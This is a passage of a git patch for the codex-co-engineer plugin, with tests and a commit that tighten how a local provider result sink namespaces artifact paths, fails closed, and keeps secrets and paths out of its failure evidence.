errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +async function readAllSanitized(store, ref) { + let offset = 0; + const parts = []; + for (;;) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: 8192 }); + parts.push(Buffer.from(page.selected_content, 'base64')); + if (page.more !== true) { + return Buffer.concat(parts).toString('utf8'); + } + offset = page.next_offset; + } +} + +function assertReceiptShape(receipt, { published = true, empty = false } = {}) { + assert.equal(receipt.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(receipt.version, LOCAL_PROVIDER_RESULT_SINK_VERSION); + assert.deepEqual(Object.keys(receipt), [...LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS]); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.published, published); + assert.equal(receipt.empty, empty); + assert.equal(receipt.artifact_kind, LOCAL_PROVIDER_RESULT_ARTIFACT_KIND); +} + +function assertNoLeak(serialized, root, secrets) { + assert.equal(serialized.includes(root), false, 'receipt echoed the store root'); + for (const secret of secrets) { + assert.equal(serialized.includes(secret), false, `receipt leaked ${secret}`); + } +} + +test('the closed sink vocabulary and caps are exported frozen', () => { + assert.equal(LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, 'codex-co-engineer.local-provider-result-sink.v1'); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_VERSION, 1); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, 4096); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES), true); + assert.deepEqual([...LOCAL_PROVIDER_RESULT_SINK_PROVIDERS], ['grok', 'cursor-local', 'dsh']); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS.includes('inline_tail')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('local_provider_required')); +}); + +test('the sink module uses P09/P10/P08 authorities and does not import protected seams', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/local-provider-result-sink.mjs', import.meta.url)), 'utf8'); + assert.match(source, /sanitizeAndPublishArtifactV1/u); + assert.match(source, /readSanitizedArtifactV1/u); + assert.match(source, /verifyStoredArtifactV1/u); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('provider-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-worker.mjs'), false); +}); + +test('Grok Cursor and DSH strings JSON values and stream chunks publish under exact identity', async () => { + await withStore(async (store, root) => { + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + }); + assertReceiptShape(grok); + assert.equal(grok.run_id, RUN_ID); + assert.equal(grok.assignment_id, 'lane-alpha'); + assert.equal(grok.provider, 'grok'); + assert.equal(grok.model, GROK_MODEL); + assert.equal(grok.raw_ref.artifact_class, 'raw'); + assert.equal(grok.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(grok.raw_ref.relative_path, grok.sanitized_ref.relative_path); + assert.equal(grok.complete, true); + assert.equal(grok.source_truncated, false); + assert.equal(grok.inline_tail.inline_clipped, false); + assert.equal(grok.inline_tail.text, grokText()); + assert.equal(await readAllSanitized(store, grok.sanitized_ref), grokText()); + assert.equal(grok.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + assertNoLeak(JSON.stringify(grok), root, [SECRET]); + + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: Buffer.from(cursorText(), 'utf8'), + }); + assert.equal(cursor.provider, 'cursor-local'); + assert.equal(cursor.model, CURSOR_MODEL); + assert.equal(cursor.inline_tail.text, cursorText()); + + const dshJson = dshObject(); + const dsh = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-gamma' }), + source: dshJson, + }); + assert.equal(dsh.provider, 'dsh'); + assert.equal(dsh.model, DSH_MODEL); + assert.equal(dsh.media_type, 'application/json'); + assert.equal(dsh.inline_tail.text, JSON.stringify(dshJson)); + + const streamed = 'streamed grok chunk-1chunk-2 VERDICT: STREAM PASS'; + const streamReceipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: 'lane-delta' }), + source: chunksOf(streamed, 7), + }); + assert.equal(await readAllSanitized(store, streamReceipt.sanitized_ref), streamed); + assert.equal(streamReceipt.inline_tail.text, streamed); + }); +}); + +test('empty results do not invent an artifact and exact 4096 stays unclipped', async () => { + await withStore(async (store) => { + const empty = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: '', + }); + assertReceiptShape(empty, { published: false, empty: true }); + assert.equal(empty.raw_ref, null); + assert.equal(empty.sanitized_ref, null); + assert.equal(empty.inline_tail, null); + assert.equal(empty.source_byte_length, 0); + + const payload = exact4096('END!'); + assert.equal(Buffer.byteLength(payload, 'utf8'), INLINE_TAIL_MAX); + const exact = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: payload, + }); + assert.equal(exact.published, true); + assert.equal(exact.inline_tail.inline_clipped, false); + assert.equal(exact.inline_tail.source_truncated, false); + assert.equal(exact.inline_tail.byte_length, INLINE_TAIL_MAX); + assert.equal(exact.inline_tail.text.endsWith('END!'), true); + assert.equal(exact.source_byte_length, INLINE_TAIL_MAX); + }); +}); + +test('inline tails distinguish UTF-8 alignment clipping from source truncation', async () => { + await withStore(async (store) => { + const window = unicodeSplitWindow(); + const unicode = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: window, + }); + assert.equal(unicode.inline_tail.inline_clipped, true); + assert.equal(unicode.inline_tail.source_truncated, false); + assert.equal(unicode.complete, true); + assert.equal(unicode.inline_tail.text.isWellFormed(), true); + assert.equal(unicode.inline_tail.text.includes('\uFFFD'), false); + assert.ok(unicode.inline_tail.byte_length <= INLINE_TAIL_MAX); + assert.ok(unicode.inline_tail.text.endsWith('s'.repeat(20))); + + const over = oversizeTail(); + const truncated = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: over, + source_truncated: true, + }); + assert.equal(truncated.source_truncated, true); + assert.equal(truncated.complete, false); + assert.equal(truncated.inline_tail.inline_clipped, true); + assert.equal(truncated.inline_tail.source_truncated, true); + assert.equal(truncated.inline_tail.complete, false); + assert.match(truncated.inline_tail.text, /VERDICT: OVERSIZE PASS$/u); + assert.equal(truncated.inline_tail.byte_length <= INLINE_TAIL_MAX, true); + assert.equal(await readAllSanitized(store, truncated.sanitized_ref), over); + }); +}); + +test('CLI JSONL extraction preserves complete available output without bounding', () => { + const stdout = [ + JSON.stringify({ result: 'result candidate', text: 'secondary' }), + JSON.stringify({ text: 'next chunk' }), + 'plain tail', + ].join('\n'); + const bytes = collectCliProviderOutputV1(stdout); + assert.equal(bytes.toString('utf8'), 'result candidatenext chunk\nplain tail'); + assert.equal(collectCliProviderOutputV1('').byteLength, 0); +}); + +test('collector retains older chunks until the raw class cap', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append('older-output-'); + collector.append('later-verdict'); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, false); + assert.equal(snapshot.source.toString('utf8'), 'older-output-later-verdict'); +}); + +test('legacy tasks without run identity do not bind a sink envelope', () => { + assert.equal(localProviderResultIdentityFromTaskV1({ + id: 'task-1', + provider: 'grok', + }), null); + const bound = localProviderResultIdentityFromTaskV1({ + id: 'task-1', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + provider: 'dsh', + dsh_model: DSH_MODEL, + }); + assert.equal(bound.run_id, RUN_ID); + assert.equal(bound.model, DSH_MODEL); + assert.equal(Object.isFrozen(bound), true); +}); + +async function workerFixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-p11-acp-')); + chmodSync(root, 0o700); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const id = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id, + status: 'accepted', + provider: extra.provider ?? 'grok', + ...(extra.run_id ? { run_id: extra.run_id } : {}), + ...(extra.assignment_id ? { assignment_id: extra.assignment_id } : {}), + ...(extra.model ? { model: extra.model } : {}), + ...(extra.dshModel ? { dsh_model: extra.dshModel } : {}), + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + ...(extra.cliArgv ? { cli_argv: extra.cliArgv } : {}), + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId: id }; +} + +async function withFakeAcpx(mode, callback) { + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE']; + const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + process.env.FAKE_ACPX_MODE = mode; + try { + return await callback(); + } finally { + for (const name of names) { + if (previous[name] === undefined) delete process.env[name]; + else process.env[name] = previous[name]; + } + } +} + +test('Grok ACP with run identity stores the complete result after terminal publication', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.result_truncated, true); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.provider, 'grok'); + assert.equal(terminal.provider_result_sink.inline_tail.inline_clipped, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: ACP PASS$/u); + const store = await openLocalProviderArtifactStoreV1(value.root); + const stored = await readAllSanitized(store, terminal.provider_result_sink.sanitized_ref); + assert.match(stored, /VERDICT: ACP PASS$/u); + assert.ok(stored.length > String(terminal.result).length); +}); + +test('Cursor Local ACP with run identity preserves legacy bounded result beside artifacts', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider, 'cursor-local'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.assignment_id, 'lane-beta'); + assert.equal(terminal.provider_result_sink.inline_tail.source_truncated, false); +}); + +test('DSH ACPX with run identity sinks nested JSON after provider terminal', async () => { + const value = await workerFixture({ + provider: 'dsh', + id: 'dsh-p11-object', + run_id: RUN_ID, + assignment_id: 'lane-gamma', + dshModel: DSH_MODEL, + }); + const terminal = await withFakeAcpx('terminal-object', () => runAcpTask({ + root: value.root, taskId: value.taskId, + })); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result.nested.final, /VERDICT: DSH OBJECT PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.media_type, 'application/json'); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: DSH OBJECT PASS/u); +}); + +test('CLI fallback with run identity stores complete available output when transport-clipped', async () => { + const value = await workerFixture({ + id: 'cli-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + cliArgv: [process.execPath, FAKE_CLI_TERMINAL_VERDICT], + }); + const { task } = await readTask(value.root, value.taskId); + const terminal = await runCliFallback({ + root: value.root, + task, + prompt: 'private fallback prompt', + }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: CLI PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: CLI PASS$/u); + assert.equal(JSON.stringify(terminal.provider_result_sink).includes('private fallback prompt'), false); +}); + +test('legacy ACP completion without run identity keeps 3.2.1 result shape', async () => { + const value = await workerFixture({ id: 'legacy-no-identity', prompt: 'normal' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider_result_sink, undefined); +}); + +test('sanitized oversize fails closed without reporting an artifact', async () => { + await withStore(async (store, root) => { + const over = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const error = await errorOfAsync( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: over, + }), + 'artifact_stream_over_cap', + ); + assert.equal(JSON.stringify({ code: error.code, message: error.message }).includes(root), false); + }); +}); From 8a9596f8e39a066a4a86e8a9774da6a13795f398 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 01:13:24 +0000 Subject: [PATCH 036/151] fix(provider): bind P11 sink identity and fail closed Bind provider, model, and optional child-envelope digest into the P07-strict provider-report path so Grok, Cursor Local, and digest identities cannot share an ArtifactRef. Failed ACP turns never publish partial text as complete. Collector overflow is handled inside attachLocalProviderResultSink without rewriting the provider terminal. contentFreeSinkFailureV1 allowlists closed code/path and uses a generic bounded message. --- CHANGELOG.md | 12 + docs/r1-local-provider-result-sink.md | 20 +- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 27 +-- .../mcp/v3/local-provider-result-sink.mjs | 102 +++++++- ...-provider-result-sink-adversarial.test.mjs | 36 ++- .../r1-local-provider-result-sink.test.mjs | 219 +++++++++++++++++- 6 files changed, 386 insertions(+), 30 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index df74959..b6b6808 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,18 @@ ## [Unreleased] +### Fixed + +- **P11 identity namespace, non-success, overflow, and content-free failure.** + Provider-report ArtifactRef paths now bind `provider`, `model`, and + optional child-envelope digest into a P07-strict namespace so two + identities cannot share a path or ref. Failed/cancelled ACP turns never + publish accumulated partial text as complete. Collector overflow at the + raw class cap is handled inside `attachLocalProviderResultSink` with + typed content-free evidence and does not rewrite the provider terminal + or claim complete output. `contentFreeSinkFailureV1` allowlists closed + code/path values and uses one generic bounded message. + ### Added - **Local provider result sink.** Adds additive v3 diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md index 8085240..ff80a8e 100644 --- a/docs/r1-local-provider-result-sink.md +++ b/docs/r1-local-provider-result-sink.md @@ -23,7 +23,12 @@ sinkLocalProviderResultV1(store, options) - `media_type` — optional identity-encoded text media type Local providers only: `grok`, `cursor-local`, `dsh`. Cursor Cloud is -denied. Identities are never guessed from `task.id`. +denied. Identities are never guessed from `task.id`. The ArtifactRef +relative path is +`runs/{run_id}/{assignment_id}/{provider}/{identity_binding}/provider-report.{ext}`, +where `identity_binding` is the SHA-256 of length-prefixed provider, +model, and optional child-envelope digest, so two identities cannot +share a path or ref. ## Publication @@ -62,9 +67,16 @@ remain P09's. `acp-worker.mjs` is the only serialized integration. It publishes the legacy bounded `task.result` first, then attaches optional `provider_result_sink` metadata. Sink failure after provider terminal is -typed content-free evidence; it does not invent completion, change -provider status, or replay work. Tasks without exact run/child/model -identity keep the 3.2.1 path unchanged. +typed content-free evidence with a closed code/path and a generic +bounded message; it does not invent completion, change provider status, +or replay work. Tasks without exact run/child/model identity keep the +3.2.1 path unchanged. + +Failed, cancelled, or other non-success ACP turns never publish +accumulated partial text as complete. Collector overflow at the raw +class cap is handled inside `attachLocalProviderResultSink` with typed +content-free nonpublication evidence and does not rewrite the provider +terminal. Provider completion remains evidence, never acceptance. diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index d1e1788..0760eb6 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -17,6 +17,7 @@ import { } from './local-provider-result-sink.mjs'; import { recordNeedsAttention, replyDecision, waitForReply } from './mailbox.mjs'; import { boundedProviderResult, boundedProviderValue, createProviderResultAccumulator, providerCharCount } from './provider-result.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; process.umask(0o077); @@ -67,21 +68,20 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } -function sinkSourceFromCollector(collector) { - const snapshot = collector.snapshot(); - if (snapshot.overflow === true) { - throw new AcpWorkerError( - 'artifact_stream_over_cap', - 'The provider result exceeded the raw artifact class cap; nothing was published.', - ); - } - return snapshot.source; -} - -async function attachLocalProviderResultSink(root, task, source, sourceTruncated = false) { +export async function attachLocalProviderResultSink( + root, task, source, sourceTruncated = false, overflow = false, +) { const identity = localProviderResultIdentityFromTaskV1(task); if (identity == null) return task; try { + if (task?.status !== 'completed') { + throw new RunContractV1Error('artifact_sink_not_published', 'sink', + 'The local provider result sink did not publish after provider terminal.'); + } + if (overflow === true) { + throw new RunContractV1Error('artifact_stream_over_cap', 'source', + 'The provider result exceeded the raw artifact class cap; nothing was published.'); + } const store = await openLocalProviderArtifactStoreV1(root); const receipt = await sinkLocalProviderResultV1(store, { ...identity, @@ -964,8 +964,9 @@ export async function runAcpTask({ root, taskId, signal } = {}) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); + const snapshot = complete.snapshot(); return attachLocalProviderResultSink( - root, terminal, sinkSourceFromCollector(complete), false, + root, terminal, snapshot.source, false, snapshot.overflow === true, ); } catch (error) { const failure = publicError(error, prompt); diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs index f01fd5b..53cad6f 100644 --- a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -40,6 +40,9 @@ import { chmod, mkdir } from 'node:fs/promises'; import path from 'node:path'; import { types as utilTypes } from 'node:util'; +import { + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; import { ARTIFACT_REF_SCHEMA_ID, MAX_RAW_ARTIFACT_BYTE_LENGTH, @@ -158,6 +161,7 @@ export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ 'artifact_sink_failed', + 'artifact_sink_not_published', 'artifact_sink_not_verified', 'artifact_stream_invalid_chunk', 'artifact_stream_invalid_source', @@ -166,10 +170,48 @@ export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ 'invalid_type', 'local_provider_required', 'missing_key', + 'proxy_denied', 'unknown_key', 'unknown_provider', ]); +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE = + 'The local provider result sink did not publish after provider terminal.'; + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST = capturedFreeze([ + ...LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + 'accessor_property_denied', + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_stream_failed', + 'non_enumerable_property_denied', + 'own_undefined_denied', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST = capturedFreeze([ + 'artifact_ref', + 'inline_tail', + 'options.assignment_id', + 'options.child_envelope_digest', + 'options.media_type', + 'options.model', + 'options.provider', + 'options.run_id', + 'options.source', + 'options.source_truncated', + 'provenance', + 'relative_path', + 'root', + 'sanitized', + 'sink', + 'source', +]); + const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ 'buffer', @@ -274,8 +316,42 @@ function mediaExtension(mediaType) { return 'txt'; } -function providerReportPath(runId, assignmentId, mediaType) { - return `runs/${runId}/${assignmentId}/provider-report.${mediaExtension(mediaType)}`; +function uint32be(length) { + const header = BUFFER_ALLOC(4); + header[0] = (length >>> 24) & 0xff; + header[1] = (length >>> 16) & 0xff; + header[2] = (length >>> 8) & 0xff; + header[3] = length & 0xff; + return header; +} + +function identityNamespaceDigest(identity) { + const provider = BUFFER_FROM(identity.provider, 'utf8'); + const model = BUFFER_FROM(identity.model, 'utf8'); + const digest = BUFFER_FROM(identity.child_envelope_digest ?? '', 'utf8'); + return CREATE_HASH('sha256') + .update(uint32be(provider.byteLength)) + .update(provider) + .update(uint32be(model.byteLength)) + .update(model) + .update(uint32be(digest.byteLength)) + .update(digest) + .digest('hex'); +} + +function providerReportPath(identity, mediaType) { + const binding = identityNamespaceDigest(identity); + const relativePath = `runs/${identity.run_id}/${identity.assignment_id}/${identity.provider}/${binding}/provider-report.${mediaExtension(mediaType)}`; + validateArtifactRelativePathV1(relativePath, 'relative_path'); + return relativePath; +} + +export function localProviderResultReportPathV1(identity, mediaType = 'text/plain') { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSink('invalid_type', 'identity', + 'A provider-report path requires a bounded identity object.'); + } + return providerReportPath(identity, mediaType); } function encodeJsonValue(value) { @@ -643,23 +719,26 @@ function publishedReceipt(identity, mediaType, relativePath, provenance, inlineT export function contentFreeSinkFailureV1(error) { const fromContract = error instanceof RunContractV1Error; - const code = fromContract && typeof error.code === 'string' + const rawCode = fromContract && typeof error.code === 'string' ? error.code : 'artifact_sink_failed'; - const field = fromContract && typeof error.path === 'string' + const rawPath = fromContract && typeof error.path === 'string' ? error.path : 'sink'; - const message = fromContract - ? diagnostic(error.message) - : 'The local provider result sink failed after provider terminal publication.'; + const code = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, rawCode) + ? rawCode + : 'artifact_sink_failed'; + const field = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, rawPath) + ? rawPath + : 'sink'; return freezeData({ schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, version: LOCAL_PROVIDER_RESULT_SINK_VERSION, published: false, error: freezeData({ code, - path: diagnostic(field), - message, + path: field, + message: LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, }), }); } @@ -721,7 +800,7 @@ export async function sinkLocalProviderResultV1(store, input) { return emptyReceipt(identity, sourceTruncated); } - const relativePath = providerReportPath(identity.run_id, identity.assignment_id, mediaType); + const relativePath = providerReportPath(identity, mediaType); const rawRef = parseArtifactRefV1({ schema: ARTIFACT_REF_SCHEMA_ID, run_id: identity.run_id, @@ -762,9 +841,12 @@ capturedFreeze(createLocalProviderResultCollectorV1); capturedFreeze(collectCliProviderOutputV1); capturedFreeze(contentFreeSinkFailureV1); capturedFreeze(localProviderResultIdentityFromTaskV1); +capturedFreeze(localProviderResultReportPathV1); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs index b6160d9..9d493c7 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs @@ -9,8 +9,10 @@ import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; import { publishArtifactV1, openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; import { LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, contentFreeSinkFailureV1, + localProviderResultReportPathV1, sinkLocalProviderResultV1, } from '../mcp/v3/local-provider-result-sink.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; @@ -227,7 +229,7 @@ test('idempotent restart succeeds and conflicting or tampered artifacts fail clo const other = Buffer.from('tampered sanitized bytes that are not the original\n', 'utf8'); await publishArtifactV1(store, conflictingSanitizedRef( - `runs/${RUN_ID}/${CHILD_B}/provider-report.txt`, + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: CHILD_B })), other, ), other); const afterRaw = await expectCode( @@ -271,16 +273,48 @@ test('content-free sink failure evidence never carries bytes secrets or handles' assert.equal(evidence.published, false); assert.deepEqual(Object.keys(evidence), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); assert.equal(evidence.error.code, 'artifact_content_conflict'); + assert.equal(evidence.error.path, 'artifact_ref'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); assert.equal(Object.isFrozen(evidence), true); const noisy = new Error(`failed to write ${SECRET} at /tmp/not-a-real-store`); const fallback = contentFreeSinkFailureV1(noisy); assert.equal(fallback.error.code, 'artifact_sink_failed'); + assert.equal(fallback.error.path, 'sink'); + assert.equal(fallback.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); assert.equal(JSON.stringify(fallback).includes(SECRET), false); assert.equal(JSON.stringify(fallback).includes('/tmp/not-a-real-store'), false); assert.equal(utilTypes.isProxy(fallback), false); }); +test('secret-bearing RunContractV1Error never echoes into sink failure evidence', () => { + const secretPath = `source/${SECRET}`; + const secretMessage = `failed to write ${SECRET} at /tmp/not-a-real-store`; + const secretError = new RunContractV1Error('artifact_sink_failed', secretPath, secretMessage); + const evidence = contentFreeSinkFailureV1(secretError); + const serialized = JSON.stringify(evidence); + assert.equal(evidence.published, false); + assert.equal(evidence.error.code, 'artifact_sink_failed'); + assert.equal(evidence.error.path, 'sink'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(secretPath), false); + assert.equal(serialized.includes('/tmp/not-a-real-store'), false); + assert.equal(evidence.error.message.includes(SECRET), false); + assert.equal(evidence.error.path.includes(SECRET), false); + + const unknown = contentFreeSinkFailureV1(new RunContractV1Error( + 'not_a_closed_code', + 'not_a_closed_path', + `echo ${SECRET}`, + )); + assert.equal(unknown.error.code, 'artifact_sink_failed'); + assert.equal(unknown.error.path, 'sink'); + assert.equal(unknown.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(JSON.stringify(unknown).includes(SECRET), false); + assert.equal(JSON.stringify(unknown).includes('not_a_closed_code'), false); +}); + test('string chunk streams that are not intrinsic views still sanitize split tokens', async () => { await withStore(async (store, root) => { const text = `prefix ${SECRET} trailing VERDICT: CHUNK PASS`; diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs index fce530c..1e4e0db 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -6,15 +6,20 @@ import path from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; +import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, } from '../mcp/v3/artifact-ref.mjs'; import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; import { LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, + 